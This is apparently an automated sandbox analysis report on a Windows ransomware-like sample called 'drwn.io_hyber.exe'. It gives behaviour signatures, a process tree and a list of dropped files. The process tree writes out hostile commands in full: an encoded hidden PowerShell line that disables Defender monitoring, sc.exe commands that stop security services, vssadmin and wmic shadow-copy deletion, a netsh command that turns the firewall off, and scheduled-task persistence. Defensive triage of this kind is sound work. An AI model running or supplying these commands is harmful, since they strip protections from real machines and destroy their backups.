Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/05/2026, 09:00

General

  • Target
    drwn.io_hyber.exe
  • Size 49KB
  • Sample260509-kysrmsg13q
  • SHA256 e5426c8c7651aef7c4d65aaeb958e79080c0982250587c8959a5f71b23c70a34
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2280
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4948
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1588
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1828
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2000
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:872
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3008
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:972
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1564
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2432
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4124
      • C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe"
        3⤵
          PID:3396
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:4308
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3460
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4068
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:3388
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1912
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3696
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:1920
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3952
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4640
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1524
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2484
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4304
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1196
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:4584
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1216
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:4932
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2956
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:5020
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1700
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:2504
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:2172
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:3788
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4632
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:60
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  3⤵
                    PID:2432
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:2424
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:884
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:2108
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:1796
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa39a0855 /state1:0x41c64e6d
                  1⤵
                  • Drops desktop.ini file(s)
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:4764
                • C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe
                  C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe
                  1⤵
                    PID:4636
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1900

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        LockScreen___1920_1080_notdimmed.jpg

                        • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-745935970-1373868228-562466063-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
                        • Size 1.0MB
                        • SHA256 87c475c5a164749f4405101ca10fe8322ad7ec98d51507958210ae42150bcf84
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 66KB
                        • SHA256 2047a2e065c844c6e5f37dbceea8b6e922130d9b9403af2554f9c563c1f60a6d
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 66KB
                        • SHA256 4ccbc8a8f2bac25a33a414a3079e5f9abf0b24404cd880d828488f50bcf2887e
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        drwn.io_hyber.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\drwn.io_hyber.exe.log
                        • Size 660B
                        • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_ruxxdmwr.r5k.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ruxxdmwr.r5k.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 238B
                        • SHA256 0b71fbb1b19bdb3ed699d6bf39397524a2175e1314612e101bc3e040ac680c6a
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 239B
                        • SHA256 4c265e4b421555710c9e940f03ed2254ea186bfb371e4ea30cf7897968f30ebe
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 49KB
                        • SHA256 e5426c8c7651aef7c4d65aaeb958e79080c0982250587c8959a5f71b23c70a34
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/2172-2254-0x0000019D16F70000-0x0000019D16F71000-memory.dmp

                        memory/2280-15-0x000000001E610000-0x000000001EB38000-memory.dmp

                        memory/2280-14-0x000000001E440000-0x000000001E602000-memory.dmp

                        memory/2280-1-0x0000000003040000-0x0000000003050000-memory.dmp

                        memory/2280-0-0x0000000000E40000-0x0000000000E52000-memory.dmp

                        memory/2280-2268-0x0000000003040000-0x0000000003050000-memory.dmp

                        memory/2280-2267-0x0000000001500000-0x000000000150C000-memory.dmp

                        memory/2504-2250-0x000002C086B40000-0x000002C086B4C000-memory.dmp

                        memory/4308-2239-0x000002E1B8480000-0x000002E1B848C000-memory.dmp

                        memory/4948-1768-0x0000029104B20000-0x0000029104B2C000-memory.dmp

                        memory/4948-656-0x000002911CFE0000-0x000002911D002000-memory.dmp